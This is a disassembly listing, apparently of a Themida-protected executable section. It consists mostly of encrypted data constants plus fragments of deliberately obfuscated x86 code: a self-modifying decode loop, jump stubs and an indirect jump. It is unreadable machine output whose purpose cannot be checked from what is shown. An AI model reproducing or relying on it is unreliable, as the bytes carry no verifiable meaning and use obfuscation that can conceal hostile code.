dd 4DCD3D11h, 1A6C12C7h, 0E09CB8Eh, 0A23CF154h, 9FC0E1F6h
dd 0DF34CDCBh, 59706399h, 916269D3h, 3906D1C6h, 6DAD3B21h
dd 0C792248Fh, 83300413h, 512C797h, 0A672AB31h, 6D7299B1h
dd 709CD218h, 9BA2D359h, 13C79D83h, 4DCD3004h, 2E0215C7h
dd 531234CDh, 0F8C01B29h, 0E9B4A371h, 0FDE3FB1Ch, 56AB51C9h
dd 5970DA10h, 0C1D9E0D3h, 0C7A93BA6h, 83300413h, 2089AB97h
dd 90CBE8B7h, 6531142Ch, 72AB9E72h, 0BE9BB3A4h, 0E516BA3Eh
dd 0C9F61BDDh, 79248F51h, 2C2BEB24h, 5970184Eh, 0FF171ED3h
dd 413C719h, 0ADAFF517h, 3CC8FE44h, 0C7CED359h, 1CDDBB0Dh
dd 97831E04h, 875215C7h, 0D7F8C590h, 457E8303h, 0E6B58691h
dd 415926F1h, 413C75Bh, 0AB4DCD30h, 70DA1056h, 0D9E0D359h
dd 709BD1C1h, 0C97BD359h, 79248F51h, 353A6D57h, 3EDDEE2Ch
dd 0FAE0F819h, 0B1A672ABh, 47E0B699h, 8D618295h, 91457E83h
dd 34EEBB86h, 66932FCBh, 0C9AFC7C6h, 4DCD4AD0h, 300413C7h
dd 4AD04DCDh, 703365ABh, 9939D359h, 3DA1B7D9h, 0A97D9E76h
dd 0B3A472ABh, 0DC031BE8h, 0A272ABF0h, 51DEAB5h, 8F637422h
dd 7297E83h, 83712AA9h
dd 0D006E4AAh, 0D6D35939h, 3B5C7B1Fh, 39D2084Eh, 0D1D8D359h
dd 8298D3B9h, 0CAA089ABh, 433B7B68h, 0E59F883Eh, 0E26F4C5h
dd 13C77C66h, 66853904h, 0AED8FD44h, 932FE9EEh, 0ACE22827h
dd 0B2D358B6h, 8F728AABh, 0A6DFCCCBh, 736434F3h, 1D133A52h
dd 0D358B6E2h, 9CA856B8h, 27002CD3h, 0A5C7D3E0h, 4B88C5C0h
dd 0A494AC9Eh, 0D3E02D6Ah, 0A1F6D5FDh, 0E02D255Bh, 0C242BD3h
dd 596E6929h, 0DEA9AE70h, 2DE01A2Ah, 9173D3E0h, 292EED26h
dd 15E7F711h, 0DED3E02Eh, 1A53FE69h, 288E597Eh, 0D4E0886h
dd 354D6ED8h, 4A4D1023h, 8CC2085Dh, 92D3E066h, 1996738Bh
dd 108D587Fh, 0CC804B4Ch, 45170F08h, 99BA8752h, 661466ACh
dd 131AD3E0h, 514615FEh, 4D4A0986h, 164F2E82h, 0BC895443h
dd 8F1E89A4h, 0C0B6CBCCh, 0D423E40Ch, 394h, 3EDCD600h
dd 360116C7h, 33FE19B9h, 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h
dd 0DD8FF9Eh, 2CDCA90h, 0F9C4D385h, 0F4BFD87Ch, 7BEB683Ch
dd 0A8E907AFh, 0B5FFF8BAh
db 50h, 0CEh, 7Bh
; ---------------------------------------------------------------------------
loc_5FD977: ; CODE XREF: Themida_:005F904Fj
jmp short loc_5FD98F
; ---------------------------------------------------------------------------
align 4
dd 4 dup(0)
db 0, 2 dup(1)
; ---------------------------------------------------------------------------
loc_5FD98F: ; CODE XREF: Themida_:loc_5FD977j
mov ah, 3
; ---------------------------------------------------------------------------
db 2 dup(0), 0AFh
dd 919D8907h, 5007A826h, 11BA5250h, 0F3CAF51h, 61605031h
dd 89585A5Fh, 8E92404h, 0A000000h, 6B2CAE4Fh, 6AC9A2AFh
dd 5BB96600h, 6A006AB8h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 409EC351h, 0F3D9D7D8h
dd 99BF968Fh, 8D7D6083h, 0AFC63385h, 68B0F07h, 9000000h
dd 0A80D1D95h, 4895007h, 51006A24h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 0AC3A10F2h, 0CEBF0F57h
dd 6A006A5Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 647DC355h, 0BEB596CFh, 6A006A9Ch
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 81B3C351h, 775B12E3h, 3995FF4Ch, 0B707A81Bh
dd 508E9ADh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 8D013DC3h, 7A81B3Dh, 0E8h, 0ED815D00h
dd 7AFC638h, 57006AF5h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 0BF0FD2ECh, 0D19589FBh, 6607A808h
dd 0C57AF781h, 0F545D268h, 81DF8B63h, 4A722434h, 0BD8B63F5h
dd 7A80EADh, 0D2195FFh, 958B07A8h, 7A804A1h, 0C510B58Dh
dd 0D88B07AFh, 655206C7h, 6A6D67h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 767FDDC3h, 6F0446C7h
dd 896C636Eh, 0A80A499Dh, 846C707h, 737361h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 3FC35040h, 300156C8h
dd 6AD1AFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 8FC35040h, 0BA27B966h, 0C510858Dh, 6A07AFh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0FB8351C3h, 509016FCh, 90DF8B66h, 0FFD38B66h, 0A8326D95h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 0C00B1CFCh, 31840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 44C586C3h
dd 956F7C83h, 8B6951D0h, 0A81921BDh, 336E907h, 0E8F80000h
dd 4, 12Ch, 0D3DBA66h, 30BB6650h, 24448BFAh, 50008B04h
dd 5FD18B66h, 4244489h, 9995BA66h, 52006A58h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 9E2399BEh
dd 9E876h, 0BDE10000h, 53DABFA2h, 0BF5D33C4h, 4DC6488Ah
dd 0EE959h, 88E10000h, 0E6B1B0A1h, 25238E10h, 0D0636451h
dd 0D2195FFh, 0BE907A8h, 70000000h, 3C58E8B5h, 0A5A04B8Bh
dd 0C7BF2F62h, 8D648927h, 0AFC510B5h, 0F8B96607h, 0C98D09C5h
dd 0C707A80Ch, 34383106h, 6840F36h, 89000000h, 0A8222D95h
dd 446C707h, 31342D37h, 846C7h, 66000000h, 6AFB8Bh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0D0C35242h, 0AAB3AD0Eh
dd 19BD2360h, 0B707A80Fh, 858D612Dh, 7AFC510h, 0C880Fh
dd 840F0000h, 6, 880Fh, 8A900000h, 800F50F5h, 0Ch, 7E9h
dd 0DDCB4700h, 0C1F97900h, 50006A90h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 6C68720Ah
dd 6D95FF85h, 6A07A832h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 9E39C350h, 0C00BFC8Ch
dd 1C840Fh, 0E9F50000h, 1CCh, 0BE9h, 81103F00h, 0B9E6F874h
dd 87FB7C8Fh, 0B8D8D33h, 396807A8h, 0E91D65ACh, 6, 716B6E0Dh
dd 34811646h, 65AD1524h, 50006A1Dh, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 95FFA5A7h, 7A80D21h, 15859589h
dd 0B58D07A8h, 7AFC510h, 17D1B589h, 0BD2307A8h, 7A829D9h
dd 694606C7h, 6A656Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 9A7E3C3h, 0A81CE1B5h, 0D3816607h
dd 46C74976h, 6E6F6D04h, 53006A63h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 0F239826Bh, 3F2450BBh
dd 846C736h, 7373616Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 33C35545h, 0C71EFD62h, 0C46h, 9D890000h
dd 7A8182Dh, 0C3BA006Ah, 8D39E0BDh, 0AFC51085h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0B5891094h, 7A833F1h, 5DF5BF90h, 60502EB2h, 50565A57h
dd 5A310F52h, 90615858h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 0E5C35242h, 9D099E8Eh, 7A82509h, 326D95FFh
dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 0C00BD7C3h, 1F840Fh, 958B0000h, 7A8249Dh
dd 3BE9h, 8E800h, 41440000h, 6A3D63BFh, 9589E5A4h, 7A82F85h
dd 0FB86E95Bh, 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0AEC941C3h, 0BCBFB4C6h, 71FBB58Dh
dd 0EE907A8h, 78000000h, 0D32B87B3h, 7C5DE694h, 0BA20DCA1h
dd 0B88Ah, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 8FA444C3h, 0BB660BB1h, 0E6FFAA90h
dd 236D9589h, 0C18B07A8h, 14E8h, 0BD7A2200h, 5B47620Dh
dd 2E683A6h, 4B13F658h, 931CD428h, 13E95Fh, 0FC0A0000h
dd 0C0D54497h, 0CBAC557Bh, 721D8F40h, 0E1B23C91h, 0BD895B23h
dd 7A826A9h, 0DD4CC381h, 0BAF50000h, 0
; ---------------------------------------------------------------------------
jno loc_5FDFD4
add esi, 786DF7DFh
loc_5FDFD4: ; CODE XREF: Themida_:005FDFC8j
; Themida_:005FE01Dj
push dword ptr [edx+ebx]
pop eax
sub [ebp+7A805C1h], ebx
sub eax, 4B837571h
add eax, 480508E4h
mov cx, dx
add eax, 2700187Dh
and edi, [ebp+7A824FDh]
mov [ebx+edx], eax
mov [ebp+7A8313Dh], edx
sub edx, 3
add [ebp+7A805D9h], ecx
dec edx
jge loc_5FE017
adc si, 0C586h
loc_5FE017: ; CODE XREF: Themida_:005FE00Cj
cmp edx, 0FFFF2350h
jnz loc_5FDFD4
mov esi, [ebp+7A8251Dh]
jmp loc_5FE054
; ---------------------------------------------------------------------------
dw 6069h
dd 66Ah, 8 dup(0)
; ---------------------------------------------------------------------------
loc_5FE054: ; CODE XREF: Themida_:005FE029j
jmp loc_5FEE1B
; ---------------------------------------------------------------------------
push 7AFCE48h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AFCF4Bh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AFD03Ch
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AFD0F3h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AFD420h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AFD72Ch
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AFD83Eh
jmp loc_58941B
; ---------------------------------------------------------------------------
db 91h
dd 0D9C2D7C0h, 1E071C3Bh, 5F485D7Ah, 9E879CBBh, 0B5C3D8FFh
dd 0D5C29114h, 1700D7C0h, 5B7C1902h, 9ABD5D46h, 0C006A585h
dd 0CBA9A48Ah, 0C748F690h, 0C1160314h, 5970457Bh, 2C444BD3h
dd 2894B64Fh, 0AE85F0ACh, 2EEBCEE6h, 0D60F1429h, 0E2281502h
dd 0D3593DACh, 0EF93ABB2h, 88C1AE66h, 2BF8C3D4h, 8199BE5Ah
dd 728F3C82h, 0F595DB01h, 0EFFB3433h, 0DC7F50B9h, 45CF9ABBh
dd 0DB02480Bh, 2AF02926h, 37E5622Dh, 67885520h, 1EC9344Fh
dd 484D83C9h, 4C53DB02h, 0D57E3434h, 38C3E3F0h, 0A8000000h
dd 0C495FC86h, 0B76249B1h, 81677FA0h, 0B5A272ABh, 0B81CF99Dh
dd 781885CBh, 171EDB01h, 7888C24Ch, 8AA3DB01h, 0F93F731Fh
dd 0E02E3FFh, 0E7000000h, 1EE9EEAEh, 6C533951h, 952h, 1056ABAEh
dd 0D35970DAh, 0A6ECD9E0h, 0D3597070h, 74576F76h, 6DA3E9A2h
dd 73D35970h, 0E7804B6Ch, 70164C92h, 151CD359h, 0AF781AFDh
dd 0B5CAEBECh, 0DDCA0A0Bh, 1985697h, 68555CDBh, 5DA3682Fh
dd 0DB019827h, 1805262Dh, 1989CD2h, 839BA2DBh, 98E21CA6h
dd 0E4FDDB01h, 2585CD79h, 4079E3F0h, 0E1AE799Eh, 4DADC9h
dd 6AB0000h, 0B6D8C511h, 0D342BF7Ah, 1D1C3457h, 0ECA2D7h
dd 0D6A1A8DBh, 4255043Dh, 0A292AA77h, 0DB00EC68h, 79BF8C4Bh
dd 0DB00EC43h, 56214249h, 4F1A3DD9h, 0F9D843B8h, 30DC4760h
dd 0E3F0857Ah, 0CBBFh, 1B82A400h, 15E8E3BDh, 0C74B3149h
dd 0B8350017h, 0E305F2E5h, 0B134E56Ch, 1DFA120Ah, 0ECD9FEA0h
dd 491781CAh, 0B4CCFE6Bh, 53053ED7h, 89492C44h, 457FA18Eh
dd 0C65B0DC6h, 877DA4BCh, 0D3595A2Dh, 9DB04E10h, 521565D6h
dd 0E50611C6h, 14C6AFC4h, 1DFA3803h, 0D186CCB9h, 0D7DB0105h
dd 411BBD0h, 38597E20h, 0B5EE054Bh, 0EDF4E2ABh, 0C289AB00h
dd 3B5F8A9Eh, 16C5A8C0h, 5003EC01h, 6D784F47h, 0DC71FC65h
dd 0AC204h, 0B9DE7F00h, 0FE19BBA4h, 3F5800E9h, 8295412Ah
dd 0C6D1846Dh, 7F26A3B1h, 0BDA6BBDCh, 0FFE8FD1Ah, 3F283D5Ah
dd 8363789Fh, 0A2689EE4h, 0D46ECBA9h, 1056AB26h, 0D35970DAh
dd 0DEC1D9E0h, 1A03183Fh, 5E4A5F78h, 0A22B89ABh, 521D3ADCh
dd 0F034CB85h, 7CD97D95h, 3065AB98h, 36DB0085h, 0A0DA642Fh
dd 0BBDB0085h, 0ED2369BEh, 0F3DB0084h, 4EB9D4ECh, 0F0EAE8A2h
dd 392C4EE3h, 5288CE7Eh, 58DB010Dh, 7B119751h, 0CF3E5A72h
dd 23000000h, 642F28EAh, 0C7997F97h, 0B8350017h, 0CC05F2E5h
dd 723F0A0Dh, 99F37D5Ah, 7CD35975h, 0BFA8BDDAh, 4325F1Fh
dd 9EFE3DFAh, 0E374B27Dh, 4B004633h, 12DB01B3h, 0B34177BDh
dd 4047DB01h, 73C86828h, 80433BEAh, 0F5C92D8h, 5B62DB02h
dd 5A04193Ah, 0E62C19FDh, 0E2ACBCBEh, 97D0BDC4h, 0ADE6D3C4h
dd 0A9D0E8EFh, 884A1DC0h, 0D6F7C48Fh, 647FD9DEh, 7951E6FCh
dd 9BFh, 0A7BCDB7Ch, 0E4F91EBEh, 253A5DFBh, 64799E3Ch
dd 0AABFD87Bh, 0A5782D9Ch, 0E5B49DB2h, 27F4DDF2h, 60321B30h
dd 0E3826277h, 0A9A1679Dh, 25D36DCBh, 0EE0314C7h, 184E94E9h
dd 1ED35970h, 7A1CFF17h, 0CCEDEAADh, 2690B2B7h, 12BCEE32h
dd 3D1D7584h, 2F5011EFh, 17C73117h, 3BDA1300h, 8E27041Ch
dd 0D1F9096Ch, 0B065639Dh, 0E00978A5h, 958F496Ah, 0D505D2Bh
dd 0E4B699B1h, 30E406F3h, 5CE2F8E8h, 0FF042B43h, 0EB2E64AAh
dd 7D34D358h, 8199BADDh, 51C6999Ah, 31529885h, 37DB00F1h
dd 0F12A0730h, 2B1B3324h, 84C621D0h, 9EB95E97h, 0A175E286h
dd 2E156EB4h, 141B8C6Eh, 2E29EE27h, 0A17E9663h, 3522F263h
dd 0F458BE0h, 158C6E2Eh, 0A5DB210Eh, 0AB8C6E2Eh, 7C9C8CA4h
dd 829419A6h, 85558E7Bh, 0C2947D92h, 1D2DDD5h, 3ED333F7h
dd 8CE66h, 0CDCA8B00h, 0A0DCFB8h, 4B4C0CF5h, 8E894D36h
dd 0CACD9079h, 8322A7B5h, 0C9B2C7D0h, 0BF4090Eh, 4B34494Eh
dd 97778C8Bh, 0A07CB2F8h, 0E882CBA9h, 0E89AB3Ah, 0FC1BBF1Dh
dd 1FAA6431h, 0C0BD0FCh, 3B537441h, 32E18658h, 0FB390425h
dd 87CDBA1Ah, 0DB00B77Eh, 356BB184h, 3BDB00B7h, 0D1261334h
dd 4D5C298h, 472A4255h, 0F54AEC92h, 29CBC812h, 4D0AF308h
dd 0BFF57F4Ah, 95DB015Ah, 0DB016A5Bh, 4F3C987Dh, 0A9915009h
dd 624F56E2h, 0AE686F29h, 5EF99031h, 0CAA7BFE0h, 6096DC31h
dd 5AE2AA6Fh, 2E42977Ah, 0DAE18FE1h, 183FDFC2h, 67CB0B20h
dd 0AB8318FCh, 817h, 0FF1403D4h, 3C514616h, 7D928553h
dd 0BCD1C694h, 21700D3h, 0DD0D5F4h, 4D0CF50Ah, 8F4C354Ah
dd 0C88A7388h, 3BDABACFh, 0A9A0BFF5h, 7D2BC5CBh, 0D8C51106h
dd 196D992h, 0DD8DFDBh, 0B6CBCC90h, 1B080FCDh, 562136E2h
dd 0FB947189h, 7FAEEAD9h, 23D0339h, 480209DBh, 385044EFh
dd 64518194h, 1D4201Eh, 541F26DBh, 4A0F48D9h, 0BA1DF2B4h
dd 0AECF516Eh, 81107B96h, 0B9AFC4D3h, 0DB01E07Fh, 0E9AEB6A1h
dd 355623EEh, 77ADF348h, 5ADB01E0h, 0E7EE9CBBh, 788AD0CFh
dd 7EDB01E0h, 0DB796277h, 2567F1BCh, 0ADB01E1h, 799E4079h
dd 4CDB4661h, 917A8F88h, 7F09D4C3h, 0DB01E195h, 0D362CD7Ah
dd 0FC011601h, 4C0611C3h, 0BE4CE984h, 63071F3Fh, 0AEA970F0h
dd 8F516E3h, 1CE89C2h, 5D88FDBh, 9C26F112h, 4F6332CBh
dd 0B662CDE6h, 9851C3FCh, 91C70D62h, 974F632Ah, 0CC5C7890h
dd 41000001h, 2D455208h, 2C110647h, 2E34146Ch, 1D3ADFCCh
dd 43648552h, 597E1D56h, 67FC4241h, 6DDB0189h, 0DE247966h
dd 0DB0189A8h, 908FA7AEh, 7B908757h, 0CD7C092h, 4834AA82h
dd 50BBB662h, 0F9AE6CA5h, 5E18395Eh, 508913C1h, 0B699B119h
dd 0CD06F3E4h, 0CEF50D0Ah, 0DF8935E5h, 5F5CA735h, 93D19CBDh
dd 8496B780h, 0B8839447h, 83231EBh, 745D7293h, 69E6B1A6h
dd 88C1AEA9h, 87AEC6D1h, 8A8D4982h, 1A38F2BFh, 4E7EE269h
dd 32E4C7DFh, 68D05A25h, 74D4D293h, 0DF7F0E79h, 0C092CBB8h
dd 273F0CD7h, 50471700h, 6D6A2A63h, 0DF3A7855h, 93AFE52Bh
dd 0AEB5D4D2h, 245AA08Dh, 2AD4D293h, 76250E23h, 93194F95h
dd 6113D4D2h, 0D67A29EDh, 145A2DDBh, 0D4D365DEh, 9BBCDDE4h
dd 0B31537D0h, 0A5B26473h, 0EF530DDAh, 94385068h, 2B645181h
dd 5150686Fh, 0D2F7D90Bh, 0C3D8DFD4h, 0ED2369BEh, 0D0D4D2F6h
dd 77440F08h, 27F1C2C9h, 80986530h, 0FDAFD9Dh, 0E7D4C392h
dd 24EFE8AEh, 0E7623F57h, 85BB0156h, 8BD4D2F7h, 0E6516C84h
dd 7B908757h, 0EAD7C092h, 0DDF5E2B1h, 7F57C200h, 0F71E4C92h
dd 1D24D4D2h, 8C7F1F08h, 0D2F71046h, 0EE0F16D4h, 0B864DF01h
dd 477DB3F9h, 7C83D4D3h, 6DB70CC2h, 5EFB7855h, 7ED76E39h
dd 45ADE329h, 0ACB3D4D3h, 7F0E7994h, 0BAA3B8DFh, 9B34FF18h
dd 0D8A3B462h, 7D9EB95Bh, 22EDEAACh, 0BE993D55h, 0F9236956h
dd 0FFD4D344h, 5DFAE3F8h, 0B2F84D3Ah, 0D4D3457Ch, 86637B82h
dd 0F1E6B4EDh, 422235D9h, 79668790h, 2E29EB24h, 8E7E9663h
dd 0D4D34568h, 5E94DA2Fh, 41D4D345h, 0EEBB8691h, 61213940h
dd 0C759455Ah, 41EB0017h, 0F11300D4h, 411C0754h, 6D1A271h
dd 0B4FAF911h, 0DB01198Fh, 68A18E95h, 0FDCA7B0h, 1ABFF8F7h
dd 5AFFE8FDh, 2334723Dh, 19ABE127h, 0AAB1DB01h, 0F7183FD9h
dd 45BBC40Ah, 0BAC1E2A9h, 552B65EFh, 0C84DE2A9h, 20D91F0Ch
dd 26EA517Ch, 7D7541Fh, 3F191810h, 7D12E5CFh, 4EAA5h, 0E1F6A700h
dd 2631E3CCh, 67702811h, 0AAAD6952h, 0EEE9AC95h, 0A7FECBD9h
dd 0E5CEE3F4h, 27102532h, 67506572h, 0AB8BA0B7h, 9C90C60Ch
dd 0FC96CBA9h, 1056AB4Eh, 0D35970DAh, 1DC1D9E0h, 0A9EFDC38h
dd 0DB017714h, 0AF48131Ah, 0CBB1038Dh, 0E901B7A0h, 246C0F9h
dd 0E7F0A3DBh, 0DAFD9F1Ch, 55C0BB0Fh, 59C4DD76h, 0B4A375AEh
dd 894B1CE9h, 0DEF6C38Eh, 0F0D794DEh, 0E36DE3h, 0BA6B0000h
dd 0D35970B0h, 443D7CAAh, 0C5B2D651h, 5965497Fh, 27484FD3h
dd 7D9A3CFFh, 795DBE68h, 6518468Ch, 171ED359h, 80FCF4Ch
dd 4A80C61Bh, 50D35965h, 600A3149h, 0D92E1BF3h, 59655D93h
dd 0A8DE24D3h, 0AED35965h, 0DAF2F9A7h, 0EB3186DBh, 0D35965B5h
dd 0FBD61BBBh, 2C1DCB9Eh, 0D503F30Bh, 0DBD358ACh, 1B84533Bh
dd 82909C8h, 491EC03Dh, 1403D88Fh, 905B7C49h, 3324F2C3h
dd 657A9B68h, 10C65EBBh, 9ED41A07h, 0A4D35898h, 498F7C9Dh
dd 0D358982Fh, 0C70D6235h, 0D3589891h, 7CB29097h, 82D35898h
dd 58F5A7Bh, 0D358D8CBh, 22EDEAAEh, 16E1F6A5h, 0A483EE9Bh
dd 4C0B44D5h, 0AD18334Bh, 2B18FC5Dh, 58D8CBE5h, 6D7092D3h
dd 1C873570h, 910D0E8h, 549AEFF4h, 0D358AB1Eh, 0C7051D24h
dd 0EAh, 0C5110609h, 0D8FF9FD8h, 2928400Dh, 0C792B2D4h
dd 67F1065Ah, 0A5A65F4Fh, 0F5ACDB00h, 99663126h, 0DB14AD78h
dd 84511C3Bh, 0C9CE896Ch, 0CA0C0AB4h, 0C4288DDh, 12DB00A5h
dd 9FF4F30Bh, 0A5CE044Ah, 1DD4DB00h, 7D37587Fh, 8FADC0E5h
dd 0E8D8F0F9h, 0DB0088B6h, 0ACE2287Dh, 8FDB0088h, 3603CEC9h
dd 0A9698188h, 133423F2h, 8883BE48h, 859EDB00h, 15246E1Ah
dd 6FFDE3FFh, 0FB000000h, 0D9C61006h, 0DCCA6284h, 739C1292h
dd 2A356B5Bh, 0DAFCD359h, 0CDC679FEh, 56162EE8h, 5007844Fh
dd 0BD6C197h, 0AFA86D3Eh, 3B74798Eh, 0E6B37E99h, 0EA2C2ACEh
dd 77CDB7FDh, 0CCD3D358h, 19F2A6DFh, 58779DD3h, 7B9CA3D3h
dd 0C2FC8663h, 0A7D358B7h, 6C3BDD16h, 0BE89AAADh, 53BED9F1h
dd 0D6C31303h, 0C0D8FF9Dh, 0B7917BC1h, 9097D358h, 17C78F7Bh
dd 0E6B83500h, 2532DCF1h, 7DBE04F1h, 83DB0198h, 0ED27B17Ch
dd 0D0DB0197h, 0BB50740Ah, 99BA3818h, 6B30AD78h, 3D4A16Ch
dd 22764156h, 44DDBC27h, 5E14C02Bh, 0A3E3F0DAh, 30h, 0C51106A1h
dd 4B6183D8h, 0B0B8134Eh, 0DC110119h, 0A3DB0145h, 0E4AFA86Ah
dd 383FFF17h, 45A9E36Dh, 0ABC4DB01h, 2ADE9440h, 0A123E3F0h
dd 21000000h, 8C5017C7h, 229F6A8Bh, 1C996473h, 15925D7Ah
dd 473D5245h, 0D35974EDh, 0C3700ED0h, 32B88BAFh, 0C3B26280h
dd 2FBACE09h, 4E10F90Eh, 0D7407E49h, 5FCC12FFh, 65DB0258h
dd 0B69F495Eh, 7B2B715Eh, 81E2AD08h, 81548D7Ah, 0C5988196h
dd 0A02DDAD2h, 15AAFC64h, 1DE3Dh, 0DDFA9B00h, 1A3DDFC8h
dd 5B7C1C05h, 9EB95D46h, 0DAFDA089h, 9312B7C5h, 0D9C2D7C0h
dd 1B04193Eh, 5B44597Eh, 0A7879CBBh, 998CC208h, 0F892CBA9h
dd 314C74Ah, 0EBB0E9EEh, 989DD053h, 0BADBB27Ah, 270A22EFh
dd 5F4B6077h, 0D8C51106h, 888F4A83h, 0A8DE24BDh, 0AED35970h
dd 7E6E86A7h, 0DB017649h, 395B484Fh, 0EAD2FF0Ah, 56334B23h
dd 1B292CCh, 2994ADDBh, 0FFBF357Dh, 2EF029E3h, 0EFF51129h
dd 0F3000000h, 0A772ABh, 0A16E395Eh, 6338B580h, 0BBDCA974h
dd 0F91EC0A3h, 0F5E2B12Eh, 0A0DCF08h, 17C23Fh, 8D476835h
dd 7FAB69E3h, 0EBC8E060h, 58F40761h, 2F28EAD3h, 9B4C0942h
dd 0ECB7D8FFh, 0F7E0071Fh, 27653027h, 0B3F9E62Eh, 0DB010346h
dd 0D1C6954Ch, 64F19BB0h, 196EC3B0h, 1039DD3h, 849CA3DBh
dd 0ABB08594h, 74EB8BE2h, 8F3E3CC9h, 58917E9Fh, 5833E285h
dd 0AC1EDC12h, 0BADBE2E2h, 0EC0122EFh, 4F475003h, 0FC659ABCh
dd 0CCB89025h, 89000000h, 0D1BACFC8h, 16FF1403h, 57405542h
dd 967F9483h, 0ADBBD0C7h, 0CDCA891Ch, 0F08CFB8h, 534411FAh
dd 9285553Eh, 0B8FE9D7Dh, 0CBA99882h, 0AB40EE88h, 70DA1056h
dd 0A2D4D359h, 9B566AA1h, 150209B7h, 592A99CFh, 80989FD3h
dd 0C70DFE9Dh, 0D3592A91h, 5A6F9097h, 5406A171h, 8AAB7843h
dd 17C78975h, 0C18C8B50h, 8B08D3F4h, 0DB7CCCBh, 99DFCC08h
dd 0DB093C24h, 0DB58232Ah, 0D40A503Bh, 0DADB093Ch, 415602D3h
dd 7388A976h, 7661356Eh, 0E3C6DEABh, 0CF592433h, 0DCCEF63Bh
dd 52E14C47h, 99829780h, 9613DEF9h, 607727C0h, 0BAA7C895h
dd 0ABC3D481h, 3BA653CEh, 92855790h, 0FFE2FAC7h, 3A23385Fh
dd 0DCB47F98h, 3, 0C73EDC1Eh, 0B9360116h, 0B633FE19h, 0AE2BF6E1h
dd 0A421ECEBh, 9E1BE6F1h, 900DD8FFh, 8502CDCAh, 7CF9C4D3h
dd 3CF4BFD8h, 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 0F2682424h
dd 89000040h, 8956243Ch, 4C681E6h, 81000000h, 4EEh, 24348700h
dd 241C895Ch, 20685550h, 5D07FA7Ah, 5216C581h, 0E889FFB5h
dd 58C7895Dh, 4EC81h, 24890000h, 24048124h, 4, 5E57565Bh
dd 5E087389h, 5B2434FFh, 8B04C483h, 8950243Ch, 405E0h
dd 4050000h, 87000000h, 0E95C2404h, 0FFF8A607h, 981B28B8h
db 10h, 0C0h, 2Ch
; ---------------------------------------------------------------------------
loc_5FEE1B: ; CODE XREF: Themida_:loc_5FE054j
mov eax, 7AFD92Fh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 5177E31Ch, 4C378C81h, 5310D4C8h, 1B0769F8h, 23F7BB9Ah
dd 0EE8h, 0DCA04C00h, 9130C3F1h, 73A4F8D2h, 60E1089Ah
dd 0CFE8C4BFh, 5BF8576Bh, 0E9515861h, 13h, 0BBCF3F5Bh
dd 582182C3h, 55413ACFh, 973CE4AAh, 5BB3EC84h, 6C16C081h
dd 8B600000h, 6E8F7h, 4F580000h, 0A181270Ch, 615E5B50h
dd 0BF0FF62Bh, 30148BDBh, 0A9EA81F9h, 81399F90h, 7E9F0BF2h
dd 18A0F32h, 0FC000000h, 0B71EA81h, 0CE868EFh, 60000000h
dd 0AA1ACAA6h, 3905BF13h, 0E81C1973h, 0Ch, 0ED369055h
dd 0FF6F8603h, 0F8A91FF9h, 49D18166h, 89595991h, 5B573014h
dd 8385E780h, 10E902EEh, 23000000h, 7FF60C50h, 0AD2C18A9h
dd 0CEF6DDF9h, 4EBB7801h, 6652604Eh, 4447D781h, 39CA815Ah
dd 6114EB17h, 9504FE81h, 850FFFFFh, 27h, 0A8F0Fh, 0F600000h
dd 8Ch, 61D18B00h, 36E9h, 68713500h, 58CD9165h, 36B3F9EBh
dd 359C9D1Eh, 0E882F52Ah, 7, 0C6CF94BAh, 0F52FBC9Bh, 0FF43E95Bh
dd 1375FFFFh, 0DFF79AF0h, 0E270AD8Dh, 3898B35Bh, 0E80ACC81h
dd 5, 0A8A84D18h, 5E73B2FDh, 5792F281h, 0C681647Ch, 5ABAh
dd 0B10BFABFh, 75F78128h, 6628B11Dh, 8B744BB8h, 2800F1Eh
dd 8B000000h, 0FCC381C6h, 806EE906h, 0F38179EAh, 4726AB06h
dd 12E9h, 3B73F300h, 0EB71F636h, 772531C0h, 261FD003h
dd 81171AE9h, 0B427ACEBh, 0C9BF0F18h, 66068F53h, 0C619CA81h
dd 5201EE83h, 4E59A1B5h, 81664E4Eh, 810104F2h, 1EFh, 0A4850F00h
